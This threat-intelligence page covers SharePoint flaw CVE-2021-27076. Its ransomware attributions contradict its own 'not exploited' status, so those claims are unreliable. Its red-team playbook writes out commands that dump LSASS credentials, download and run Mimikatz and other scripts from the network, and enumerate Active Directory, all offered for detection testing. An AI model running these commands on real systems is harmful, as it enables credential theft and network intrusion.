CVE-2021-27076

HIGH Pub 11/03 Upd 19/11

Overview

This vulnerability is a remote code execution flaw resulting from improper handling of user input within Microsoft SharePoint Server 2016 Enterprise. The root cause lies in insufficient validation of parameters processed by SharePoint's server-side components, specifically in the enterprise edition's request processing pipeline. This flaw allows crafted requests to manipulate internal execution flow, affecting the SharePoint Server 2016 enterprise feature set.

Vulnerability Description

Microsoft SharePoint Server Remote Code Execution Vulnerability

Impact

An attacker with valid credentials and network access can execute arbitrary code on the SharePoint Server 2016 Enterprise system, potentially leading to full system compromise. This requires low attack complexity and no user interaction, as indicated by CVSS metrics AV:N/AC:L/PR:L/UI:N. Consequences include unauthorized data access, service disruption, and lateral movement within the enterprise environment, impacting confidentiality, integrity, and availability of SharePoint services.

Solution

Microsoft has released security updates addressing this vulnerability as detailed in their security advisory accessible at https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27076. Administrators should apply the latest cumulative updates for Microsoft SharePoint Server 2016 Enterprise as specified in the advisory. No additional workarounds are recommended beyond applying these vendor-provided patches to remediate the issue.

EPSS vs KEV Prediction — Evolution (30 days)

Ransomware Intelligence

CISA KEV: Not listed
4 predicted

Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.

The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.

bianlian (552) blackbasta (523) bian lian Magic Hound

Full Analysis

The vulnerability in Microsoft SharePoint Server and related products is characterized by a remote code execution flaw that arises from improper validation of user input. This weakness allows an attacker to execute arbitrary code on the server hosting the affected SharePoint version. The root cause of this vulnerability typically lies in the way SharePoint processes requests, which can be manipulated to bypass security controls. Attackers can exploit this flaw by crafting specially designed requests that, when processed by the server, lead to the execution of malicious code. This can result in unauthorized access to sensitive data, system compromise, and potential lateral movement within the network.

Exploitation of this vulnerability can occur through various attack vectors, primarily focusing on web-based interfaces. An attacker could leverage social engineering techniques to trick users into clicking on malicious links or could directly target the SharePoint server through crafted HTTP requests. In scenarios where the server is accessible over the internet, the risk escalates significantly, as attackers do not require prior access to the internal network. Once the vulnerability is exploited, the attacker gains the ability to execute commands with the same privileges as the SharePoint service account, which may have extensive access to the underlying system and network resources.

The real-world impact of this vulnerability is substantial, particularly for organizations that rely heavily on SharePoint for collaboration and document management. A successful exploitation can lead to data breaches, loss of intellectual property, and disruption of business operations. The financial implications can be severe, including costs associated with incident response, legal liabilities, and reputational damage. Furthermore, the potential for data exfiltration or the installation of malware could lead to long-term consequences, such as regulatory fines and loss of customer trust. Organizations that fail to address this vulnerability may find themselves at a competitive disadvantage, especially in industries where data security is paramount.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular patch management is crucial; applying security updates provided by Microsoft can significantly reduce the risk of exploitation. Additionally, organizations should conduct vulnerability assessments and penetration testing to identify and remediate weaknesses in their SharePoint deployments. Employing web application firewalls (WAFs) can help filter out malicious traffic and provide an additional layer of protection. Monitoring logs for unusual activity and implementing strict access controls can further enhance security. Educating users about the risks associated with phishing and social engineering attacks is also essential in reducing the likelihood of successful exploitation.

In conclusion, the remote code execution vulnerability in Microsoft SharePoint products poses a significant threat to organizations that utilize these platforms. The potential for exploitation through various attack vectors highlights the need for robust security measures and proactive risk management strategies. By prioritizing timely updates, continuous monitoring, and user education, organizations can mitigate the risks associated with this vulnerability and protect their critical assets from malicious actors. The evolving threat landscape necessitates a vigilant approach to cybersecurity, ensuring that organizations remain resilient against emerging vulnerabilities.



CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2021-27076, reflected by a significant increase in telemetry signals and a notable rise in the Exploit Prediction Scoring System (EPSS) score. This upward trend indicates growing adversary interest and potential preparatory actions toward exploitation, despite the absence of new publicly disclosed exploit details. The elevated EPSS score, now approaching the top percentile, suggests that the likelihood of successful exploitation attempts is increasing, warranting heightened vigilance. Although ransomware groups previously linked to this vulnerability remain unconfirmed in current campaigns, their historical association underscores the potential for opportunistic targeting. This shift elevates the threat level from moderate to high, emphasizing that defenders should anticipate increased probing and potential exploitation attempts in environments running the affected SharePoint Server version.


Update 2 — July 31, 2026

CSURFACE threat intelligence has identified a slight increase in detection activity related to CVE-2021-27076, indicating a modest uptick in adversary interest targeting Microsoft SharePoint Enterprise Server 2016. Although the overall exploitation trend remains stable without new proof-of-concept exploits emerging, this subtle rise in telemetry suggests that threat actors continue to probe vulnerable environments, potentially as part of reconnaissance or low-level exploitation attempts. The persistence of ransomware groups historically linked to this vulnerability, despite no confirmed active campaigns, reinforces the ongoing relevance of this threat vector. Consequently, the risk posture for affected organizations should be considered cautiously elevated, reflecting a sustained but not yet accelerating threat environment that warrants continued monitoring.


Update 3 — August 18, 2026

CSURFACE threat intelligence has identified a slight increase in detection activity related to CVE-2021-27076, indicating continued probing of Microsoft SharePoint Enterprise Server 2016 environments. While the overall exploit landscape remains unchanged with no new proof-of-concept exploits emerging, this subtle uptick in telemetry suggests that threat actors, including ransomware groups previously linked to this vulnerability such as bianlian and Magic Hound, maintain operational interest. The stable EPSS score reinforces that the risk is persistent but not intensifying rapidly. For defenders, this underscores the necessity of sustained vigilance, as adversaries appear to be conducting ongoing reconnaissance or low-level exploitation attempts that could precede more aggressive campaigns. Consequently, the threat level should be viewed as cautiously elevated, reflecting a steady-state risk environment that demands continued monitoring without immediate escalation.

Affected Products (4)

Vendor Product Version CPE
microsoft Microsoft Business Productivity Servers 2010 cpe:2.3:a:microsoft:business_productivity_servers:2010:sp2:*:*:*:*:*:*
microsoft Microsoft Sharepoint Foundation 2013 cpe:2.3:a:microsoft:sharepoint_foundation:2013:sp1:*:*:*:*:*:*
microsoft Microsoft Sharepoint Server 2016 cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*
microsoft Microsoft Sharepoint Server 2019 cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware IN USE
Attacker Interest VERY LOW
Sightings Few sightings

Threat Feed

10 events
2026-08-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by bianlian

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)

2026-04-05
Exploited by blackbasta

Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)

2026-04-05
Exploited by bian lian

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Magic Hound

Ransomware group known to exploit this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
91% rce
OS Command Injection
79% command_injection
Code Injection
74% code_injection
Deserialization Vulnerabilities
71% deserialization
Use After Free
42% use_after_free

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.001 PowerShell Kill Chain execution Windows
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1003.001 LSASS Memory Kill Chain credential-access Windows
T1087.002 Domain Account Kill Chain discovery Linux, macOS, Windows
T1021.002 SMB/Windows Admin Shares Kill Chain lateral-movement Windows

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

65 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1003.001 Create Mini Dump of LSASS.exe using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created...
Command (CMD) 
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
T1003.001 Dump LSASS with createdump.exe from .Net v5 Windows PowerShell Privileged
Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command (PowerShell) 
$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001 Dump LSASS.exe Memory through Silent Process Exit Windows CMD Privileged
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to...
Command (CMD) 
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1003.001 Dump LSASS.exe Memory using NanoDump Windows CMD Privileged
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command (CMD) 
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
T1003.001 Dump LSASS.exe Memory using Out-Minidump.ps1 Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created...
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001 Dump LSASS.exe Memory using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is...
Command (CMD) 
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
T1003.001 Dump LSASS.exe Memory using Windows Task Manager Windows Manual
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.
T1003.001 Dump LSASS.exe Memory using comsvcs.dll Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command (PowerShell) 
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001 Dump LSASS.exe Memory using direct system calls and API unhooking Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....
Command (CMD) 
"#{dumpert_exe}"
T1003.001 Dump LSASS.exe using imported Microsoft DLLs Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that...
Command (PowerShell) 
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001 Dump LSASS.exe using lolbin rdrleakdiag.exe Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
Command (PowerShell) 
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.001 LSASS read with pypykatz Windows CMD Privileged
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes...
Command (CMD) 
"#{venv_path}\Scripts\pypykatz" live lsa
T1003.001 Offline Credential Theft With Mimikatz Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command (CMD) 
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
T1003.001 Powershell Mimikatz Windows PowerShell Privileged
Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...
Command (PowerShell) 
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1021.002 Copy and Execute File with PsExec Windows CMD Privileged
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
Command (CMD) 
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
T1021.002 Execute command writing output to local Admin Share Windows CMD Privileged
Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.
Command (CMD) 
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
T1021.002 Map Admin Share PowerShell Windows PowerShell
Map Admin share utilizing PowerShell
Command (PowerShell) 
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.002 Map admin share Windows CMD
Connecting To Remote Shares
Command (CMD) 
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations Windows PowerShell
Executes powershell.exe with variations of the -Command parameter
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 Abuse Nslookup with DNS Records Windows PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command (PowerShell) 
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001 Invoke-AppPathBypass Windows CMD
Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
Command (CMD) 
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
T1059.001 Mimikatz Windows CMD Privileged
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command (CMD) 
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
T1059.001 Mimikatz - Cradlecraft PsSendKeys Windows PowerShell Privileged
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
Command (PowerShell) 
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001 NTFS Alternate Data Stream Access Windows PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command (PowerShell) 
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001 PowerShell Command Execution Windows CMD
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command (CMD) 
powershell.exe -e  #{obfuscated_code}
T1059.001 PowerShell Fileless Script Execution Windows PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.
Command (PowerShell) 
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001 PowerShell Invoke Known Malicious Cmdlets Windows PowerShell Privileged
Powershell execution of known Malicious PowerShell Cmdlets
Command (PowerShell) 
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}
T1059.001 PowerShell Session Creation and Use Windows PowerShell Privileged
Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command (PowerShell) 
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001 PowerUp Invoke-AllChecks Windows PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001 Powershell Invoke-DownloadCradle Windows Manual
Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
T1059.001 Powershell MsXml COM object - with prompt Windows CMD
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD) 
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
T1059.001 Powershell XML requests Windows CMD
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD) 
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
T1059.001 Powershell invoke mshta.exe download Windows CMD
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD) 
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
T1059.001 Run BloodHound from local disk Windows PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful...
Command (PowerShell) 
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001 Run Bloodhound from Memory using Download Cradle Windows PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution...
Command (PowerShell) 
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
T1059.001 SOAPHound - Build Cache Windows PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell) 
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.001 SOAPHound - Dump BloodHound Data Windows PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell) 
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1087.002 Account Enumeration with LDAPDomainDump Linux Shell
This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command (Shell) 
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1087.002 Active Directory Domain Search Linux Shell
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command (Shell) 
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
T1087.002 Adfind - Enumerate Active Directory Admins Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
T1087.002 Adfind - Enumerate Active Directory Exchange AD Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
T1087.002 Adfind - Enumerate Active Directory User Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
T1087.002 Adfind -Listing password policy Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
T1087.002 Automated AD Recon (ADRecon) Windows PowerShell
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.
Command (PowerShell) 
Invoke-Expression "#{adrecon_path}"
T1087.002 Enumerate Active Directory Users with ADSISearcher Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell) 
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002 Enumerate Active Directory for Unconstrained Delegation Windows PowerShell
Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information -...
Command (PowerShell) 
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002 Enumerate Default Domain Admin Details (Domain) Windows CMD
This test will enumerate the details of the built-in domain admin account
Command (CMD) 
net user administrator /domain
T1087.002 Enumerate Linked Policies In ADSISearcher Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell) 
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate Root Domain linked policies Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell) 
